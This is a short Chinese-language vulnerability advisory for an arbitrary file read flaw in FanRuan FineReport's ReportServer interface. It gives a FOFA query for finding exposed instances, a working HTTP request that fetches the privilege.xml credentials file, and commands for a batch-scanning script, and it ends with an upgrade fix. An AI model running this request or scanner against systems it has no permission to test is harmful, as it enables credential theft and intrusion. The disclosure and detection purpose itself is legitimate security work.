免责声明：本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动，若利用本文提供的内容或工具造成任何直接或间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关。
fofa
app="帆软-FineReport"
一、漏洞简述
FineReport是由帆软自主研发的一款纯Java编写的报表软件产品，集数据展示（报表）和数据录入(表单)功能于一身，能够制作复杂的报表，操作简单易用。针对软件开发商和系统集成商，用于快速构建企业信息系统的中国式Web报表软件。其接口ReportServer存在任意文件读取漏洞，攻击者可通过该漏洞获取系统敏感文件。
二、漏洞检测poc
GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
三、漏洞检测脚本
安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：
https://github.com/ATonysan/poc-exp/blob/main/FanRuanV8\_ReportServer\_ArbitraryFileRead.py
批量检测:
python FanRuanV8_ReportServer_ArbitraryFileRead.py -f url.txt
单个url检测漏洞:
python FanRuanV8_ReportServer_ArbitraryFileRead.py -u url
四、修复
官方已更新补丁，请升级至最新版本。